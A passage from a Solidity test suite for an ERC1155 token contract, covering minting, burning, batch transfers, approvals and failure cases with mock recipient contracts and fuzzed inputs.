returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));\n    }\n}\n\ncontract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC1155Recipient {}\n\ncontract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {\n    MockERC1155 token;\n\n    mapping(address => mapping(uint256 => uint256)) public userMintAmounts;\n    mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;\n\n    function setUp() public {\n        token = new MockERC1155();\n    }\n\n    function testMintToEOA() public {\n        token.mint(address(0xBEEF), 1337, 1, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 1);\n    }\n\n    function testMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), 1337, 1, \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n    }\n\n    function testBatchMintToEOA() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 300);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 400);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 500);\n    }\n\n    function testBatchMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(to), ids, amounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), amounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 100);\n        assertEq(token.balanceOf(address(to), 1338), 200);\n        assertEq(token.balanceOf(address(to), 1339), 300);\n        assertEq(token.balanceOf(address(to), 1340), 400);\n        assertEq(token.balanceOf(address(to), 1341), 500);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n\n        token.burn(address(0xBEEF), 1337, 70);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 30);\n    }\n\n    function testBatchBurn() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n        burnAmounts[4] = 250;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), 1337, 70, \"testing 123\");\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromSelf() public {\n        token.mint(address(this), 1337, 100, \"\");\n\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(this), 1337), 30);\n    }\n\n    function testSafeBatchTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), transferAmounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(to), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(to), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(to), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(to), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(to), 1341), 250);\n    }\n\n    function testBatchBalanceOf() public {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n        token.mint(address(0xCAFE), 1338, 200, \"\");\n        token.mint(address(0xFACE), 1339, 300, \"\");\n        token.mint(address(0xDEAD), 1340, 400, \"\");\n        token.mint(address(0xFEED), 1341, 500, \"\");\n\n        uint256[] memory balances = token.balanceOfBatch(tos, ids);\n\n        assertEq(balances[0], 100);\n        assertEq(balances[1], 200);\n        assertEq(balances[2], 300);\n        assertEq(balances[3], 400);\n        assertEq(balances[4], 500);\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337, 1, \"\");\n    }\n\n    function testFailMintToNonERC155Recipient() public {\n        token.mint(address(new NonERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToRevertingERC155Recipient() public {\n        token.mint(address(new RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient() public {\n        token.mint(address(new RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailBurnInsufficientBalance() public {\n        token.mint(address(0xBEEF), 1337, 70, \"\");\n        token.burn(address(0xBEEF), 1337, 100);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 70, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance() public {\n        token.mint(address(this), 1337, 70, \"\");\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromToZero() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(0), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 100;\n        transferAmounts[1] = 200;\n        transferAmounts[2] = 300;\n        transferAmounts[3] = 400;\n        transferAmounts[4] = 500;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToZero() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            ids,\n            transferAmounts,\n            \"\"\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](4);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailBatchMintToZero() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(0), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToNonERC1155Recipient() public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient() public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient() public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintWithArrayMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](4);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n    }\n\n    function testFailBatchBurnInsufficientBalance() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 100;\n        burnAmounts[1] = 200;\n        burnAmounts[2] = 300;\n        burnAmounts[3] = 400;\n        burnAmounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](4);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch() public view {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](4);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function testMintToEOA(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        token.mint(to, id, amount, mintData);\n\n        assertEq(token.balanceOf(to, id), amount);\n    }\n\n    function testMintToERC1155Recipient(\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), id, amount, mintData);\n\n        assertEq(token.balanceOf(address(to), id), amount);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), mintData);\n    }\n\n    function testBatchMintToEOA(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        token.batchMint(to, normalizedIds, normalizedAmounts, mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);\n        }\n    }\n\n    function testBatchMintToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedAmounts);\n        assertBytesEq(to.batchData(), mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);\n        }\n    }\n\n    function testBurn(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 burnAmount\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(to, id, mintAmount, mintData);\n\n        token.burn(to, id, burnAmount);\n\n        assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);\n    }\n\n    function testBatchBurn(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);\n\n            userMintAmounts[address(to)][id] += normalizedMintAmounts[i];\n            userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);\n        }\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testSafeTransferFromToEOA(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromToERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        bytes memory transferData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), transferData);\n\n        assertEq(token.balanceOf(address(to), id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromSelf(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);\n    }\n\n    function testSafeBatchTransferFromToEOA(\n        address to,\n        uint256[] memory 